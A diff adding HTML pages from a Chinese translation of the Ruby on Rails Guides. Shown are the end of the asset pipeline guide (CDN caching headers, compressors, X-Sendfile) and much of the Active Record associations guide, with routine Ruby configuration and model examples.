+HTTP/1.1 200 OK Server: Cowboy Last-
+Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
+Cache-Control:
+public, max-age=2592000
+Via: 1.1 vegur
+Content-Length: 126560
+Accept-Ranges:
+bytes
+Date: Sun, 24 Aug 2014 20:28:45 GMT
+Via: 1.1 varnish
+Age: 885814
+Connection: keep-alive
+X-Served-By: cache-dfw1828-DFW
+X-Cache: HIT
+X-Cache-Hits:
+68
+X-Timer: S1408912125.211638212,VS0,VE0
+
+
+
+

Check your CDN documentation for any additional information they may provide +such as X-Cache or for any additional headers they may add.

4.4.2.3 CDNs and the Cache-Control Header

The cache control +header is a W3C +specification that describes how a request can be cached. When no CDN is used, a +browser will use this information to cache contents. This is very helpful for +assets that are not modified so that a browser does not need to re-download a +website's CSS or JavaScript on every request. Generally we want our Rails server +to tell our CDN (and browser) that the asset is "public", that means any cache +can store the request. Also we commonly want to set max-age which is how long +the cache will store the object before invalidating the cache. The max-age +value is set to seconds with a maximum possible value of 31536000 which is one +year. You can do this in your rails application by setting

+
+config.public_file_server.headers = {
+  'Cache-Control' => 'public, max-age=31536000'
+}
+
+
+
+

Now when your application serves an asset in production, the CDN will store the +asset for up to a year. Since most CDNs also cache headers of the request, this +Cache-Control will be passed along to all future browsers seeking this asset, +the browser then knows that it can store this asset for a very long time before +needing to re-request it.

4.4.2.4 CDNs and URL based Cache Invalidation

Most CDNs will cache contents of an asset based on the complete URL. This means +that a request to

+
+http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png
+
+
+
+

Will be a completely different cache from

+
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+
+
+
+

If you want to set far future max-age in your Cache-Control (and you do), +then make sure when you change your assets that your cache is invalidated. For +example when changing the smiley face in an image from yellow to blue, you want +all visitors of your site to get the new blue face. When using a CDN with the +Rails asset pipeline config.assets.digest is set to true by default so that +each asset will have a different file name when it is changed. This way you +don't have to ever manually invalidate any items in your cache. By using a +different unique asset name instead, your users get the latest asset.

5 Customizing the Pipeline

5.1 CSS Compression

One of the options for compressing CSS is YUI. The YUI CSS +compressor provides +minification.

The following line enables YUI compression, and requires the yui-compressor +gem.

+
+config.assets.css_compressor = :yui
+
+
+
+

The other option for compressing CSS if you have the sass-rails gem installed is

+
+config.assets.css_compressor = :sass
+
+
+
+

5.2 JavaScript Compression

Possible options for JavaScript compression are :closure, :uglifier and +:yui. These require the use of the closure-compiler, uglifier or +yui-compressor gems, respectively.

The default Gemfile includes uglifier. +This gem wraps UglifyJS (written for +NodeJS) in Ruby. It compresses your code by removing white space and comments, +shortening local variable names, and performing other micro-optimizations such +as changing if and else statements to ternary operators where possible.

The following line invokes uglifier for JavaScript compression.

+
+config.assets.js_compressor = :uglifier
+
+
+
+

You will need an ExecJS +supported runtime in order to use uglifier. If you are using Mac OS X or +Windows you have a JavaScript runtime installed in your operating system.

5.3 Serving GZipped version of assets

By default, gzipped version of compiled assets will be generated, along +with the non-gzipped version of assets. Gzipped assets help reduce the transmission of +data over the wire. You can configure this by setting the gzip flag.

+
+config.assets.gzip = false # disable gzipped assets generation
+
+
+
+

5.4 Using Your Own Compressor

The compressor config settings for CSS and JavaScript also take any object. +This object must have a compress method that takes a string as the sole +argument and it must return a string.

+
+class Transformer
+  def compress(string)
+    do_something_returning_a_string(string)
+  end
+end
+
+
+
+

To enable this, pass a new object to the config option in application.rb:

+
+config.assets.css_compressor = Transformer.new
+
+
+
+

5.5 Changing the assets Path

The public path that Sprockets uses by default is /assets.

This can be changed to something else:

+
+config.assets.prefix = "/some_other_path"
+
+
+
+

This is a handy option if you are updating an older project that didn't use the +asset pipeline and already uses this path or you wish to use this path for +a new resource.

5.6 X-Sendfile Headers

The X-Sendfile header is a directive to the web server to ignore the response +from the application, and instead serve a specified file from disk. This option +is off by default, but can be enabled if your server supports it. When enabled, +this passes responsibility for serving the file to the web server, which is +faster. Have a look at send_file +on how to use this feature.

Apache and NGINX support this option, which can be enabled in +config/environments/production.rb:

+
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
+
+
+
+

If you are upgrading an existing application and intend to use this +option, take care to paste this configuration option only into production.rb +and any other environments you define with production behavior (not +application.rb).

For further details have a look at the docs of your production web server: +- Apache +- NGINX

6 Assets Cache Store

By default, Sprockets caches assets in tmp/cache/assets in development +and production environments. This can be changed as follows:

+
+config.assets.configure do |env|
+  env.cache = ActiveSupport::Cache.lookup_store(:memory_store,
+                                                { size: 32.megabytes })
+end
+
+
+
+

To disable the assets cache store:

+
+config.assets.configure do |env|
+  env.cache = ActiveSupport::Cache.lookup_store(:null_store)
+end
+
+
+
+

7 Adding Assets to Your Gems

Assets can also come from external sources in the form of gems.

A good example of this is the jquery-rails gem which comes with Rails as the +standard JavaScript library gem. This gem contains an engine class which +inherits from Rails::Engine. By doing this, Rails is informed that the +directory for this gem may contain assets and the app/assets, lib/assets and +vendor/assets directories of this engine are added to the search path of +Sprockets.

8 Making Your Library or Gem a Pre-Processor

As Sprockets uses Tilt as a generic +interface to different templating engines, your gem should just implement the +Tilt template protocol. Normally, you would subclass Tilt::Template and +reimplement the prepare method, which initializes your template, and the +evaluate method, which returns the processed source. The original source is +stored in data. Have a look at +Tilt::Template +sources to learn more.

+
+module BangBang
+  class Template < ::Tilt::Template
+    def prepare
+      # Do any initialization here
+    end
+
+    # Adds a "!" to original template.
+    def evaluate(scope, locals, &block)
+      "#{data}!"
+    end
+  end
+end
+
+
+
+

Now that you have a Template class, it's time to associate it with an +extension for template files:

+
+Sprockets.register_engine '.bang', BangBang::Template
+
+
+
+

9 Upgrading from Old Versions of Rails

There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is +moving the files from public/ to the new locations. See Asset +Organization above for guidance on the correct locations +for different file types.

Next will be avoiding duplicate JavaScript files. Since jQuery is the default +JavaScript library from Rails 3.1 onwards, you don't need to copy jquery.js +into app/assets and it will be included automatically.

The third is updating the various environment files with the correct default +options.

In application.rb:

+
+# Version of your assets, change this if you want to expire all your assets
+config.assets.version = '1.0'
+
+# Change the path that assets are served from config.assets.prefix = "/assets"
+
+
+
+

In development.rb:

+
+# Expands the lines which load the assets
+config.assets.debug = true
+
+
+
+

And in production.rb:

+
+# Choose the compressors to use (if any)
+config.assets.js_compressor = :uglifier
+# config.assets.css_compressor = :yui
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs. This is planned for deprecation.
+config.assets.digest = true
+
+# Precompile additional assets (application.js, application.css, and all
+# non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+
+
+
+

Rails 4 and above no longer set default config values for Sprockets in test.rb, so +test.rb now requires Sprockets configuration. The old defaults in the test +environment are: config.assets.compile = true, config.assets.compress = false, +config.assets.debug = false and config.assets.digest = false.

The following should also be added to your Gemfile:

+
+gem 'sass-rails',   "~> 3.2.3"
+gem 'coffee-rails', "~> 3.2.1"
+gem 'uglifier'
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/association_basics.html b/v5.0/association_basics.html new file mode 100644 index 0000000..b9c7a54 --- /dev/null +++ b/v5.0/association_basics.html @@ -0,0 +1,2155 @@ + + + + + + + +Active Record 关联 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Active Record 关联

本文介绍 Active Record 的关联功能。

读完本文后,您将学到:

+
    +
  • 如何声明 Active Record 模型间的关联;

  • +
  • 怎么理解不同的 Active Record 关联类型;

  • +
  • 如何使用关联为模型添加的方法。

  • +
+ + + + +
+
+ +
+
+
+

1 为什么使用关联

在 Rails 中,关联在两个 Active Record 模型之间建立联系。模型之间为什么要有关联?因为关联能让常规操作变得更简单。例如,在一个简单的 Rails 应用中,有一个作者模型和一个图书模型。每位作者可以著有多本图书。不用关联的话,模型可以像下面这样定义:

+
+class Author < ApplicationRecord
+end
+
+class Book < ApplicationRecord
+end
+
+
+
+

现在,假如我们想为一位现有作者添加一本书,得这么做:

+
+@book = Book.create(published_at: Time.now, author_id: @author.id)
+
+
+
+

假如要删除一位作者的话,也要把属于他的书都删除:

+
+@books = Book.where(author_id: @author.id)
+@books.each do |book|
+  book.destroy
+end
+@author.destroy
+
+
+
+

使用 Active Record 关联,Rails 知道两个模型之间有联系,上述操作(以及其他操作)可以得到简化。下面使用关联重新定义作者和图书模型:

+
+class Author < ApplicationRecord
+  has_many :books, dependent: :destroy
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

这么修改之后,为某位作者添加新书就简单了:

+
+@book = @author.books.create(published_at: Time.now)
+
+
+
+

删除作者及其所有图书也更容易:

+
+@author.destroy
+
+
+
+

请阅读下一节,进一步学习不同的关联类型。后面还会介绍一些使用关联时的小技巧,然后列出关联添加的所有方法和选项。

2 关联的类型

Rails 支持六种关联:

+
    +
  • belongs_to

  • +
  • has_one

  • +
  • has_many

  • +
  • has_many :through

  • +
  • has_one :through

  • +
  • has_and_belongs_to_many

  • +
+

关联使用宏式调用实现,用声明的形式为模型添加功能。例如,声明一个模型属于(belongs_to)另一个模型后,Rails 会维护两个模型之间的“主键-外键”关系,而且还会向模型中添加很多实用的方法。

在下面几小节中,你会学到如何声明并使用这些关联。首先来看一下各种关联适用的场景。

2.1 belongs_to 关联

belongs_to 关联创建两个模型之间一对一的关系,声明所在的模型实例属于另一个模型的实例。例如,如果应用中有作者和图书两个模型,而且每本书只能指定给一位作者,就要这么声明图书模型:

+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

belongs to

belongs_to 关联声明中必须使用单数形式。如果在上面的代码中使用复数形式定义 author 关联,应用会报错,提示“uninitialized constant Book::Authors”。这是因为 Rails 自动使用关联名推导类名。如果关联名错误地使用复数,推导出的类名也就变成了复数。

相应的迁移如下:

+
+class CreateBooks < ActiveRecord::Migration[5.0]
+  def change
+    create_table :authors do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :books do |t|
+      t.belongs_to :author, index: true
+      t.datetime :published_at
+      t.timestamps
+    end
+  end
+end
+
+
+
+

2.2 has_one 关联

has_one 关联也建立两个模型之间的一对一关系,但语义和结果有点不一样。这种关联表示模型的实例包含或拥有另一个模型的实例。例如,应用中每个供应商只有一个账户,可以这么定义供应商模型:

+
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+
+
+

has one

相应的迁移如下:

+
+class CreateSuppliers < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier, index: true
+      t.string :account_number
+      t.timestamps
+    end
+  end
+end
+
+
+
+

根据使用需要,可能还要为 accounts 表中的 supplier 列创建唯一性索引和(或)外键约束。这里,我们像下面这样定义这一列:

+
+create_table :accounts do |t|
+  t.belongs_to :supplier, index: true, unique: true, foreign_key: true
+  # ...
+end
+
+
+
+

2.3 has_many 关联

has_many 关联建立两个模型之间的一对多关系。在 belongs_to 关联的另一端经常会使用这个关联。has_many 关联表示模型的实例有零个或多个另一模型的实例。例如,对应用中的作者和图书模型来说,作者模型可以这样声明:

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

声明 has_many 关联时,另一个模型使用复数形式。

has many

相应的迁移如下:

+
+class CreateAuthors < ActiveRecord::Migration[5.0]
+  def change
+    create_table :authors do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :books do |t|
+      t.belongs_to :author, index: true
+      t.datetime :published_at
+      t.timestamps
+    end
+  end
+end
+
+
+
+

2.4 has_many :through 关联

has_many :through 关联经常用于建立两个模型之间的多对多关联。这种关联表示一个模型的实例可以借由第三个模型,拥有零个和多个另一模型的实例。例如,在医疗锻炼中,病人要和医生约定练习时间。这中间的关联声明如下:

+
+class Physician < ApplicationRecord
+  has_many :appointments
+  has_many :patients, through: :appointments
+end
+
+class Appointment < ApplicationRecord
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ApplicationRecord
+  has_many :appointments
+  has_many :physicians, through: :appointments
+end
+
+
+
+

has many through

相应的迁移如下:

+
+class CreateAppointments < ActiveRecord::Migration[5.0]
+  def change
+    create_table :physicians do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :patients do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :appointments do |t|
+      t.belongs_to :physician, index: true
+      t.belongs_to :patient, index: true
+      t.datetime :appointment_date
+      t.timestamps
+    end
+  end
+end
+
+
+
+

联结模型可以使用 has_many 关联方法管理。例如:

+
+physician.patients = patients
+
+
+
+

会为新建立的关联对象创建联结模型实例。如果其中一个对象删除了,相应的联结记录也会删除。

自动删除联结模型的操作直接执行,不会触发 *_destroy 回调。

has_many :through 还能简化嵌套的 has_many 关联。例如,一个文档分为多个部分,每一部分又有多个段落,如果想使用简单的方式获取文档中的所有段落,可以这么做:

+
+class Document < ApplicationRecord
+  has_many :sections
+  has_many :paragraphs, through: :sections
+end
+
+class Section < ApplicationRecord
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ApplicationRecord
+  belongs_to :section
+end
+
+
+
+

加上 through: :sections 后,Rails 就能理解这段代码:

+
+@document.paragraphs
+
+
+
+

2.5 has_one :through 关联

has_one :through 关联建立两个模型之间的一对一关系。这种关联表示一个模型通过第三个模型拥有另一模型的实例。例如,每个供应商只有一个账户,而且每个账户都有一个账户历史,那么可以这么定义模型:

+
+class Supplier < ApplicationRecord
+  has_one :account
+  has_one :account_history, through: :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ApplicationRecord
+  belongs_to :account
+end
+
+
+
+

相应的迁移如下:

+
+class CreateAccountHistories < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.belongs_to :supplier, index: true
+      t.string :account_number
+      t.timestamps
+    end
+
+    create_table :account_histories do |t|
+      t.belongs_to :account, index: true
+      t.integer :credit_rating
+      t.timestamps
+    end
+  end
+end
+
+
+
+

has one through

2.6 has_and_belongs_to_many 关联

has_and_belongs_to_many 关联直接建立两个模型之间的多对多关系,不借由第三个模型。例如,应用中有装配体和零件两个模型,每个装配体有多个零件,每个零件又可用于多个装配体,这时可以按照下面的方式定义模型:

+
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

habtm

相应的迁移如下:

+
+class CreateAssembliesAndParts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :assemblies do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :parts do |t|
+      t.string :part_number
+      t.timestamps
+    end
+
+    create_table :assemblies_parts, id: false do |t|
+      t.belongs_to :assembly, index: true
+      t.belongs_to :part, index: true
+    end
+  end
+end
+
+
+
+

2.7 在 belongs_tohas_one 之间选择

如果想建立两个模型之间的一对一关系,要在一个模型中添加 belongs_to,在另一模型中添加 has_one。但是怎么知道在哪个模型中添加哪个呢?

二者之间的区别是在哪里放置外键(外键在 belongs_to 关联所在模型对应的表中),不过也要考虑数据的语义。has_one 的意思是某样东西属于我,即哪个东西指向你。例如,说供应商有一个账户,比账户拥有供应商更合理,所以正确的关联应该这么声明:

+
+class Supplier < ApplicationRecord
+  has_one :account
+end
+
+class Account < ApplicationRecord
+  belongs_to :supplier
+end
+
+
+
+

相应的迁移如下:

+
+class CreateSuppliers < ActiveRecord::Migration[5.0]
+  def change
+    create_table :suppliers do |t|
+      t.string  :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+
+    add_index :accounts, :supplier_id
+  end
+end
+
+
+
+

t.integer :supplier_id 更明确地表明了外键的名称。在目前的 Rails 版本中,可以抽象实现的细节,使用 t.references :supplier 代替。

2.8 在 has_many :throughhas_and_belongs_to_many 之间选择

Rails 提供了两种建立模型之间多对多关系的方式。其中比较简单的是 has_and_belongs_to_many,可以直接建立关联:

+
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

第二种方式是使用 has_many :through,通过联结模型间接建立关联:

+
+class Assembly < ApplicationRecord
+  has_many :manifests
+  has_many :parts, through: :manifests
+end
+
+class Manifest < ApplicationRecord
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ApplicationRecord
+  has_many :manifests
+  has_many :assemblies, through: :manifests
+end
+
+
+
+

根据经验,如果想把关联模型当做独立实体使用,要用 has_many :through 关联;如果不需要使用关联模型,建立 has_and_belongs_to_many 关联更简单(不过要记得在数据库中创建联结表)。

如果要对联结模型做数据验证、调用回调,或者使用其他属性,要使用 has_many :through 关联。

2.9 多态关联

关联还有一种高级形式——多态关联(polymorphic association)。在多态关联中,在同一个关联中,一个模型可以属于多个模型。例如,图片模型可以属于雇员模型或者产品模型,模型的定义如下:

+
+class Picture < ApplicationRecord
+  belongs_to :imageable, polymorphic: true
+end
+
+class Employee < ApplicationRecord
+  has_many :pictures, as: :imageable
+end
+
+class Product < ApplicationRecord
+  has_many :pictures, as: :imageable
+end
+
+
+
+

belongs_to 中指定使用多态,可以理解成创建了一个接口,可供任何一个模型使用。在 Employee 模型实例上,可以使用 @employee.pictures 获取图片集合。

类似地,可使用 @product.pictures 获取产品的图片。

Picture 模型的实例上,可以使用 @picture.imageable 获取父对象。不过事先要在声明多态接口的模型中创建外键字段和类型字段:

+
+class CreatePictures < ActiveRecord::Migration[5.0]
+  def change
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+
+    add_index :pictures, [:imageable_type, :imageable_id]
+  end
+end
+
+
+
+

上面的迁移可以使用 t.references 简化:

+
+class CreatePictures < ActiveRecord::Migration[5.0]
+  def change
+    create_table :pictures do |t|
+      t.string :name
+      t.references :imageable, polymorphic: true, index: true
+      t.timestamps
+    end
+  end
+end
+
+
+
+

polymorphic

2.10 自联结

设计数据模型时,模型有时要和自己建立关系。例如,在一个数据库表中保存所有雇员的信息,但要建立经理和下属之间的关系。这种情况可以使用自联结关联解决:

+
+class Employee < ApplicationRecord
+  has_many :subordinates, class_name: "Employee",
+                          foreign_key: "manager_id"
+
+  belongs_to :manager, class_name: "Employee"
+end
+
+
+
+

这样定义模型后,可以使用 @employee.subordinates@employee.manager 检索了。

在迁移(模式)中,要添加一个引用字段,指向模型自身:

+
+class CreateEmployees < ActiveRecord::Migration[5.0]
+  def change
+    create_table :employees do |t|
+      t.references :manager, index: true
+      t.timestamps
+    end
+  end
+end
+
+
+
+

3 小技巧和注意事项

为了在 Rails 应用中有效使用 Active Record 关联,要了解以下几点:

+
    +
  • 控制缓存

  • +
  • 避免命名冲突

  • +
  • 更新模式

  • +
  • 控制关联的作用域

  • +
  • 双向关联

  • +
+

3.1 控制缓存

关联添加的方法都会使用缓存,记录最近一次查询的结果,以备后用。缓存还会在方法之间共享。例如:

+
+author.books           # 从数据库中检索图书
+author.books.size      # 使用缓存的图书副本
+author.books.empty?    # 使用缓存的图书副本
+
+
+
+

应用的其他部分可能会修改数据,那么应该怎么重载缓存呢?在关联上调用 reload 即可:

+
+author.books                 # 从数据库中检索图书
+author.books.size            # 使用缓存的图书副本
+author.books.reload.empty?   # 丢掉缓存的图书副本
+                             # 重新从数据库中检索
+
+
+
+

3.2 避免命名冲突

关联的名称并不能随意使用。因为创建关联时,会向模型添加同名方法,所以关联的名字不能和 ActiveRecord::Base 中的实例方法同名。如果同名,关联方法会覆盖 ActiveRecord::Base 中的实例方法,导致错误。例如,关联的名字不能为 attributesconnection

3.3 更新模式

关联非常有用,但没什么魔法。关联对应的数据库模式需要你自己编写。不同的关联类型,要做的事也不同。对 belongs_to 关联来说,要创建外键;对 has_and_belongs_to_many 关联来说,要创建相应的联结表。

3.3.1 创建 belongs_to 关联所需的外键

声明 belongs_to 关联后,要创建相应的外键。例如,有下面这个模型:

+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

上述关联需要在 books 表中创建相应的外键:

+
+class CreateBooks < ActiveRecord::Migration[5.0]
+  def change
+    create_table :books do |t|
+      t.datetime :published_at
+      t.string   :book_number
+      t.integer  :author_id
+    end
+
+    add_index :books, :author_id
+  end
+end
+
+
+
+

如果声明关联之前已经定义了模型,则要在迁移中使用 add_column 创建外键。

3.3.2 创建 has_and_belongs_to_many 关联所需的联结表

创建 has_and_belongs_to_many 关联后,必须手动创建联结表。除非使用 :join_table 选项指定了联结表的名称,否则 Active Record 会按照类名出现在字典中的顺序为表起名。因此,作者和图书模型使用的联结表默认名为“authors_books”,因为在字典中,“a”在“b”前面。

模型名的顺序使用字符串的 <=> 运算符确定。所以,如果两个字符串的长度不同,比较最短长度时,两个字符串是相等的,那么长字符串的排序比短字符串靠前。例如,你可能以为“paper_boxes”和“papers”这两个表生成的联结表名为“papers_paper_boxes”,因为“paper_boxes”比“papers”长,但其实生成的联结表名为“paper_boxes_papers”,因为在一般的编码方式中,“_”比“s”靠前。

不管名称是什么,你都要在迁移中手动创建联结表。例如下面的关联:

+
+class Assembly < ApplicationRecord
+  has_and_belongs_to_many :parts
+end
+
+class Part < ApplicationRecord
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

上述关联需要在迁移中创建 assemblies_parts 表,而且该表无主键:

+
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
+  def change
+    create_table :assemblies_parts, id: false do |t|
+      t.integer :assembly_id
+      t.integer :part_id
+    end
+
+    add_index :assemblies_parts, :assembly_id
+    add_index :assemblies_parts, :part_id
+  end
+end
+
+
+
+

我们把 id: false 选项传给 create_table 方法,因为这个表不对应模型。只有这样,关联才能正常建立。如果在使用 has_and_belongs_to_many 关联时遇到奇怪的行为,例如提示模型 ID 损坏,或 ID 冲突,有可能就是因为创建了主键。

联结表还可以使用 create_join_table 方法创建:

+
+class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[5.0]
+  def change
+    create_join_table :assemblies, :parts do |t|
+      t.index :assembly_id
+      t.index :part_id
+    end
+  end
+end
+
+
+
+

3.4 控制关联的作用域

默认情况下,关联只会查找当前模块作用域中的对象。如果在模块中定义 Active Record 模型,知道这一点很重要。例如:

+
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account
+    end
+
+    class Account < ApplicationRecord
+       belongs_to :supplier
+    end
+  end
+end
+
+
+
+

上面的代码能正常运行,因为 SupplierAccount 在同一个作用域中。但下面这段代码就不行了,因为 SupplierAccount 在不同的作用域中:

+
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account
+    end
+  end
+
+  module Billing
+    class Account < ApplicationRecord
+       belongs_to :supplier
+    end
+  end
+end
+
+
+
+

要想让处在不同命名空间中的模型正常建立关联,声明关联时要指定完整的类名:

+
+module MyApplication
+  module Business
+    class Supplier < ApplicationRecord
+       has_one :account,
+        class_name: "MyApplication::Billing::Account"
+    end
+  end
+
+  module Billing
+    class Account < ApplicationRecord
+       belongs_to :supplier,
+        class_name: "MyApplication::Business::Supplier"
+    end
+  end
+end
+
+
+
+

3.5 双向关联

一般情况下,都要求能在关联的两端进行操作,即在两个模型中都要声明关联。

+
+class Author < ApplicationRecord
+  has_many :books
+end
+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

默认情况下,Active Record 并不知道关联中两个模型之间的联系。这可能导致同一对象的两个副本不同步:

+
+a = Author.first
+b = a.books.first
+a.first_name == b.author.first_name # => true
+a.first_name = 'Manny'
+a.first_name == b.author.first_name # => false
+
+
+
+

之所以会发生这种情况,是因为 ab.author 在内存中是同一数据的两种表述,修改其中一个并不会自动刷新另一个。Active Record 提供了 :inverse_of 选项,可以告知 Rails 两者之间的关系:

+
+class Author < ApplicationRecord
+  has_many :books, inverse_of: :author
+end
+
+class Book < ApplicationRecord
+  belongs_to :author, inverse_of: :books
+end
+
+
+
+

这么修改之后,Active Record 只会加载一个作者对象,从而避免数据的不一致性,提高应用的执行效率:

+
+a = Author.first
+b = a.books.first
+a.first_name == b.author.first_name # => true
+a.first_name = 'Manny'
+a.first_name == b.author.first_name # => true
+
+
+
+

inverse_of 有些限制:

+
    +
  • 不支持 :through 关联;

  • +
  • 不支持 :polymorphic 关联;

  • +
  • 不支持 :as 选项;

  • +
  • belongs_to 关联会忽略 has_many 关联的 inverse_of 选项;

  • +
+

每种关联都会尝试自动找到关联的另一端,并且设置 :inverse_of 选项(根据关联的名称)。使用标准名称的关联都有这种功能。但是,如果在关联中设置了下面这些选项,将无法自动设置 :inverse_of

+
    +
  • :conditions

  • +
  • :through

  • +
  • :polymorphic

  • +
  • :foreign_key

  • +
+

4 关联详解

下面几小节详细说明各种关联,包括添加的方法和声明关联时可以使用的选项。

4.1 belongs_to 关联详解

belongs_to 关联创建一个模型与另一个模型之间的一对一关系。用数据库术语来说,就是这个类中包含外键。如果外键在另一个类中,应该使用 has_one 关联。

4.1.1 belongs_to 关联添加的方法

声明 belongs_to 关联后,所在的类自动获得了五个和关联相关的方法:

+
    +
  • association

  • +
  • association=(associate)

  • +
  • build_association(attributes = {})

  • +
  • create_association(attributes = {})

  • +
  • create_association!(attributes = {})

  • +
+

这五个方法中的 association 要替换成传给 belongs_to 方法的第一个参数。对下述声明来说:

+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+
+
+

Book 模型的每个实例都获得了这些方法:

+
+author
+author=
+build_author
+create_author
+create_author!
+
+
+
+

has_onebelongs_to 关联中,必须使用 build_* 方法构建关联对象。association.build 方法是在 has_manyhas_and_belongs_to_many 关联中使用的。创建关联对象要使用 create_* 方法。

4.1.1.1 association +

如果关联的对象存在,association 方法会返回关联的对象。如果找不到关联的对象,返回 nil

+
+@author = @book.author
+
+
+
+

如果关联的对象之前已经取回,会返回缓存版本。如果不想使用缓存版本(强制读取数据库)在父对象上调用 #reload 方法。

+
+@author = @book.reload.author
+
+
+
+
4.1.1.2 association=(associate) +

association= 方法用于赋值关联的对象。这个方法的底层操作是,从关联对象上读取主键,然后把值赋给该主键对应的对象。

+
+@book.author = @author
+
+
+
+
4.1.1.3 build_association(attributes = {}) +

build_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,对象的外键会自动设置,但关联对象不会存入数据库。

+
+@author = @book.build_author(author_number: 123,
+                             author_name: "John Doe")
+
+
+
+
4.1.1.4 create_association(attributes = {}) +

create_association 方法返回该关联类型的一个新对象。这个对象使用传入的属性初始化,对象的外键会自动设置,只要能通过所有数据验证,就会把关联对象存入数据库。

+
+@author = @book.create_author(author_number: 123,
+                                   author_name: "John Doe")
+
+
+
+
4.1.1.5 create_association!(attributes = {}) +

create_association 方法作用相同,但是如果记录无效,会抛出 ActiveRecord::RecordInvalid 异常。

4.1.2 belongs_to 方法的选项

Rails 的默认设置足够智能,能满足多数需求。但有时还是需要定制 belongs_to 关联的行为。定制的方法很简单,声明关联时传入选项或者使用代码块即可。例如,下面的关联使用了两个选项:

+
+class Book < ApplicationRecord
+  belongs_to :author, dependent: :destroy,
+    counter_cache: true
+end
+
+
+
+

belongs_to 关联支持下列选项:

+
    +
  • :autosave

  • +
  • :class_name

  • +
  • :counter_cache

  • +
  • :dependent

  • +
  • :foreign_key

  • +
  • :primary_key

  • +
  • :inverse_of

  • +
  • :polymorphic

  • +
  • :touch

  • +
  • :validate

  • +
  • :optional

  • +
+
4.1.2.1 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.1.2.2 :class_name +

如果另一个模型无法从关联的名称获取,可以使用 :class_name 选项指定模型名。例如,如果一本书属于一位作者,但是表示作者的模型是 Patron,就可以这样声明关联:

+
+class Book < ApplicationRecord
+  belongs_to :author, class_name: "Patron"
+end
+
+
+
+
4.1.2.3 :counter_cache +

:counter_cache 选项可以提高统计所属对象数量操作的效率。以下述模型为例:

+
+class Book < ApplicationRecord
+  belongs_to :author
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

这样声明关联后,如果想知道 @author.books.size 的结果,要在数据库中执行 COUNT(*) 查询。如果不想执行这个查询,可以在声明 belongs_to 关联的模型中加入计数缓存功能:

+
+class Book < ApplicationRecord
+  belongs_to :author, counter_cache: true
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

这样声明关联后,Rails 会及时更新缓存,调用 size 方法时会返回缓存中的值。

虽然 :counter_cache 选项在声明 belongs_to 关联的模型中设置,但实际使用的字段要添加到所关联的模型中(has_many 那一方)。针对上面的例子,要把 books_count 字段加入 Author 模型。

这个字段的名称也是可以设置的,把 counter_cache 选项的值换成列名即可。例如,不使用 books_count,而是使用 count_of_books

+
+class Book < ApplicationRecord
+  belongs_to :author, counter_cache: :count_of_books
+end
+class Author < ApplicationRecord
+  has_many :books
+end
+
+
+
+

